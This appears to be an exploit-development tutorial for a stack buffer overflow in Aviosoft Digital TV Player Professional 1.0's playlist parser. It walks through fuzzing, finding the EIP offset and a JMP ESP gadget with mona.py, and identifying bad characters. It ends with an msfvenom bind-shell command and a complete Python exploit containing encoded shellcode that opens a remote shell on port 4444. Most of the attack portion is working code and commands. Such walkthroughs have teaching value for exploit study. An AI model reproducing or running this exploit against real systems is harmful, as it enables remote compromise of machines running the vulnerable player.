This post documents the process of developing a working exploit for a stack buffer overflow in Aviosoft Digital TV Player Professional 1.0. The vulnerability exists in the application’s playlist file parser, which copies user-supplied data into a fixed-size stack buffer without bounds checking.
Prerequisites#
- Windows XP SP3 (en-us)
- Immunity Debugger
- Aviosoft DTV Player Pro
Triggering the Overflow#
After fuzzing the playlist file format, the basic crash can be triggered with a simple Python script that writes an oversized buffer to a .plf file:
1#!/usr/bin/python -w
2
3buffer = "A" * 2000
4
5f = open("evil.plf","w")
6f.write(buffer)
7f.close()Opening this file with the vulnerable application results in an access violation. The EIP register is overwritten with 0x41414141 (“AAAA”), confirming that we control the instruction pointer.

Identifying the EIP Offset#
To determine the exact offset where our buffer overwrites EIP, we generate a unique pattern using mona.py:
!mona pc 2000
Mona.py creates a non-repeating pattern. After opening the generated .plf file, the application crashes again, this time with a unique value in EIP.

We use mona to find the offset:
!mona findmsp

We can also verify the offset manually:
!mona pattern_offset 37694136
- Pattern 6Ai7 (0x37694136) found in cyclic pattern at position 260
The EIP overwrite occurs at offset 260. We can now place an exact 4-byte value at that position to redirect execution.

Controlling EIP#
ESP points to the bytes immediately following our EIP overwrite, which means we can place shellcode there and redirect execution with a JMP ESP instruction. We search for a suitable gadget:
!mona jmp -r esp
Mona lists all modules containing usable JMP ESP instructions.

We’ll select one after identifying bad characters.
Identifying Bad Characters#
Before generating shellcode, we need to determine which byte values the application mangles or truncates. We generate a full byte array and compare what lands in memory:
!mona bytearray -b '\x00'

After iterating through the comparison process:
!mona compare -f c:\logs\DVDXPlayer\bytearray.bin
[+] Comparing with memory at location : 0x0012f480 (Stack)
!!! Hooray, normal shellcode unmodified !!!
Bytes omitted from input: 00 0a 1a
Three bad characters identified: \x00 (null), \x0a (line feed), and \x1a (EOF). The encoder must avoid all three.
Generating the Payload#
With bad characters identified, we generate a bind shell payload using msfvenom. The encoder will automatically avoid our bad characters:
msfvenom -p windows/console_bind_tcp LPORT=4444 -f python --platform win --arch x86 -b '\x00\x0a\x1a'
The Exploit#
Putting it all together: 260 bytes of padding, the JMP ESP address from MediaPlayerCtrl.dll, a NOP sled for decoder space, and the encoded shellcode.
1#!/usr/bin/python -w
2
3import struct
4
5#-------------------------------------------------------------------------------------------------------#
6# msfvenom -p windows/console_bind_tcp LPORT=4444 -f python --platform win --arch x86 -b '\x00\x0a\x1a' #
7#-------------------------------------------------------------------------------------------------------#
8shellcode = ("\xbf\x11\xa0\x1c\x7c\xd9\xe9\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
9"\x56\x83\xea\xfc\x31\x7a\x0f\x03\x7a\x1e\x42\xe9\x80\xc8\x0b"
10"\x12\x79\x08\x6c\x9a\x9c\x39\xbe\xf8\xd5\x6b\x0e\x8a\xb8\x87"
11"\xe5\xde\x28\x1c\x8b\xf6\x5f\x95\x26\x21\x51\x26\x87\xed\x3d"
12"\xe4\x89\x91\x3f\x38\x6a\xab\x8f\x4d\x6b\xec\xf2\xbd\x39\xa5"
13"\x79\x6f\xae\xc2\x3c\xb3\xcf\x04\x4b\x8b\xb7\x21\x8c\x7f\x02"
14"\x2b\xdd\x2f\x19\x63\xc5\x44\x45\x54\xf4\x89\x95\xa8\xbf\xa6"
15"\x6e\x5a\x3e\x6e\xbf\xa3\x70\x4e\x6c\x9a\xbc\x43\x6c\xda\x7b"
16"\xbb\x1b\x10\x78\x46\x1c\xe3\x02\x9c\xa9\xf6\xa5\x57\x09\xd3"
17"\x54\xb4\xcc\x90\x5b\x71\x9a\xff\x7f\x84\x4f\x74\x7b\x0d\x6e"
18"\x5b\x0d\x55\x55\x7f\x55\x0e\xf4\x26\x33\xe1\x09\x38\x9b\x5e"
19"\xac\x32\x0e\x8b\xd6\x18\x47\x78\xe5\xa2\x97\x16\x7e\xd0\xa5"
20"\xb9\xd4\x7e\x86\x32\xf3\x79\xe9\x69\x43\x15\x14\x91\xb4\x3f"
21"\xd3\xc5\xe4\x57\xf2\x65\x6f\xa8\xfb\xb0\x20\xf8\x53\x6a\x81"
22"\xa8\x13\xda\x69\xa3\x9b\x05\x89\xcc\x71\x30\x8d\x02\xa1\x11"
23"\x7a\x67\x55\x84\x26\xee\xb3\xcc\xc6\xa6\x6c\x78\x25\x9d\xa4"
24"\x1f\x56\xf7\x98\x88\xc0\x4f\xf7\x0e\xee\x4f\xdd\x3d\x43\xe7"
25"\xb6\xb5\x8f\x3c\xa6\xca\x85\x14\xa1\xf3\x4e\xee\xdf\xb6\xef"
26"\xef\xf5\x20\x93\x62\x92\xb0\xda\x9e\x0d\xe7\x8b\x51\x44\x6d"
27"\x26\xcb\xfe\x93\xbb\x8d\x39\x17\x60\x6e\xc7\x96\xe5\xca\xe3"
28"\x88\x33\xd2\xaf\xfc\xeb\x85\x79\xaa\x4d\x7c\xc8\x04\x04\xd3"
29"\x82\xc0\xd1\x1f\x15\x96\xdd\x75\xe3\x76\x6f\x20\xb2\x89\x40"
30"\xa4\x32\xf2\xbc\x54\xbc\x29\x05\x64\xf7\x73\x2c\xed\x5e\xe6"
31"\x6c\x70\x61\xdd\xb3\x8d\xe2\xd7\x4b\x6a\xfa\x92\x4e\x36\xbc"
32"\x4f\x23\x27\x29\x6f\x90\x48\x78")
33
34buffer = "A" * 260
35buffer += struct.pack('< L', 0x6405c20b) #jmp esp [MediaPlayerCtrl.dll]
36buffer += "\x90" * 32
37buffer += shellcode
38
39f = open("evil.plf","w")
40f.write(buffer)
41f.close()Loading the generated .plf file in the vulnerable player executes the payload, opening a bind shell on port 4444.

Takeaways#
This exploit demonstrates the fundamental mechanics of stack buffer overflows: controlling EIP through unchecked input, locating executable gadgets, identifying character restrictions, and delivering shellcode. While modern mitigations have made this class of vulnerability harder to exploit, the underlying principles inform how we approach more complex targets today.